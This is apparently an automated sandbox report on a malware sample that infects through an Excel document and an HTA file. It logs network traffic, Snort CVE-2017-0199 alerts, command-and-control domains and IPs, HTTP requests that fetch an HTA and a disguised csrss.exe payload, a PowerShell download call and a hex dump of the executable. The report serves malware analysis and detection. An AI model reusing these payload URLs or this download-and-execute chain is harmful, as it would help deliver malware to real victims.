              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165

              Networking

              barindex
              Snort IDS alert for network traffic
              Source: TrafficSnort IDS: 2024449 ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl 192.168.2.22:49162 -> 172.245.135.155:80
              Source: TrafficSnort IDS: 2024449 ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl 192.168.2.22:49164 -> 172.245.135.155:80
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: bossnacarpet.com
              Source: global trafficTCP traffic: 192.168.2.22:49166 -> 173.255.204.62:2556
              Source: global trafficTCP traffic: 192.168.2.22:49167 -> 107.173.4.18:2556
              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 03 Jul 2024 16:06:34 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28Last-Modified: Wed, 03 Jul 2024 04:34:38 GMTETag: "33d829-61c5059187380"Accept-Ranges: bytesContent-Length: 3397673Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 01 58 84 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 1a 82 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 4c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 a1 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1a 82 00 00 00 20 00 00 00 84 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 4c 09 00 00 00 c0 00 00 00 0a 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 00 02 00 05 00 b0 38 00 00 d0 68 00 00 01 00 00 00 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 04 00 00 00 40 00 00 00 20 00 00 00 10 00 00 00 1e 02 28 0d 00 00 0a 2a 3a 02 28 0d 00 00 0a 02 03 7d 01 00 00 04 2a 1e 02 28 0f 00 00 0a 2a 1e 02 7b 39 00 00 04 2a 22 02 03 7d 39 00 00 04 2a 1e 02 28 0f 00 00 0a 2a 6e 02 28 0f 00 00 0a 03 75 09 00 00 02 2c 0c 02 03 75 01 00 00 01 7d 38 00 00 04 2a 4a 02 28 0f 00 00 0a 02 73 70 00 00 06 7d 38 00 00 04 2a 3e 02 28 0a 00 00 06 02 03 04 6f 48 00 00 06 2a 1e 03 6f 11 00 00 0a 2a 3a 02 7b 38 00 00 04 03 04 6f 12 00 00 0a 2a 26 02 03 17 6f 0e 00 00 06 2a 62 03 14 28 13 00 00 0a 2c 02 14 2a 02 03 6f 14 00 00 0a 6f 0f 00 00 06 2a 62 03 14 28 13 00 00 0a 2c 02 16 2a 02 03 6f 14 00 00 0a 6f 13 00 00 06 2a 3a 02 7b 38 00 00 04 03 04 6f 15 00 00 0a 2a 26 02 03 17 6f 12 00 00 06 2a 36 02 7b 38 00 00 04 03 6f 16 00 00 0a 2a 22 02 17 6f 14 00 00 06 2a 36 02 7e 17 00 00 0a 16 6f 12 00 00 06 2a 36 02 7e 18 00 00 0a 17 6f 12 00 00 06 2a 36 02 7e 19 00 00 0a 17
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 192.185.89.92 192.185.89.92
              Source: Joe Sandbox ViewIP Address: 172.245.135.155 172.245.135.155
              Source: Joe Sandbox ViewIP Address: 173.255.204.62 173.255.204.62
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: Joe Sandbox ViewASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: unknownTCP traffic detected without corresponding DNS query: 172.245.135.155
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_000007FE89A67018 URLDownloadToFileW,6_2_000007FE89A67018
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9933C675.emfJump to behavior
              Source: global trafficHTTP traffic detected: GET /NlD6e HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/eg/IEnetCache.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.135.155Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /NlD6e HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/eg/IEnetCache.hta HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=3835-Connection: Keep-AliveHost: 172.245.135.155If-Range: "19c39-61c463a8b7ba3"
              Source: global trafficHTTP traffic detected: GET /T0207W/csrss.exe HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 172.245.135.155Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: global trafficHTTP traffic detected: GET /NlD6e HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /NlD6e HTTP/1.1Accept: */*Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: hop.fyiConnection: Keep-Alive
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
              Source: global trafficDNS traffic detected: DNS query: hop.fyi
              Source: global trafficDNS traffic detected: DNS query: bossnacarpet.com
              Source: global trafficDNS traffic detected: DNS query: vegetachcnc.com
              Source: global trafficDNS traffic detected: DNS query: geoplugin.net
              Source: mshta.exe, 00000003.00000002.404763651.0000000002BBC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/
              Source: mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/(
              Source: powershell.exe, 00000006.00000002.425125733.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/T0207W/cs
              Source: powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/T0207W/csrss.exe
              Source: powershell.exe, 00000016.00000002.473601296.000000001C1C3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/T0207W/csrss.exe(
              Source: powershell.exe, 00000006.00000002.428782652.000000001AB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/T0207W/csrss.exe1d50a3a
              Source: powershell.exe, 00000006.00000002.425125733.00000000025D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.468874480.0000000002722000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/T0207W/csrss.exep
              Source: mshta.exe, 00000013.00000003.461401543.000000000033D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.hta
              Source: mshta.exe, 00000013.00000002.462746744.00000000002AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.hta...;6
              Source: mshta.exe, 00000003.00000003.402353749.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.398793403.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.404477847.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htaC:
              Source: mshta.exe, 00000013.00000003.455905191.000000000033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.000000000033D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.000000000033D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htaE
              Source: mshta.exe, 00000003.00000003.398793403.000000000039E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.404477847.0000000000391000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.0000000000391000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htaSettings
              Source: mshta.exe, 00000013.00000003.455905191.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461401543.00000000002ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000013.00000002.462815269.00000000002ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htaSettings-
              Source: mshta.exe, 00000003.00000003.398793403.000000000039E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000002.404477847.0000000000391000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.402353749.0000000000391000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htaalse
              Source: mshta.exe, 00000003.00000003.401003050.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000003.00000003.401058787.00000000029D5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.461113978.0000000003135000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.457422469.0000000003135000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htahttp://172.245.135.155/xampp/eg/IEnetCache.hta
              Source: mshta.exe, 00000003.00000003.400889751.00000000029DD000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000013.00000003.458008350.000000000313D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://172.245.135.155/xampp/eg/IEnetCache.htax
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
              Source: powershell.exe, 00000006.00000002.428782652.000000001AB1A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
              Source: powershell.exe, 00000006.00000002.429063376.000000001C3F9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
              Source: wab.exe, wab.exe, 0000000F.00000002.820272317.000000000086A000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.820272317.0000000000835000.00000004.00000020.00020000.00000000.sdmp, iexplore.exeString found in binary or memory: http://geoplugin.net/json.gp
              Source: igccu.exe, 0000000A.00000002.455992808.00000000125FF000.00000004.00000800.00020000.00000000.sdmp, ngen.exe, 0000000D.00000002.819744997.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csc.exe, 0000000E.00000002.819788954.0000000000400000.00000040.00000400.00020000.00000000.sdmp, wab.exe, 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, iexplore.exe, 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
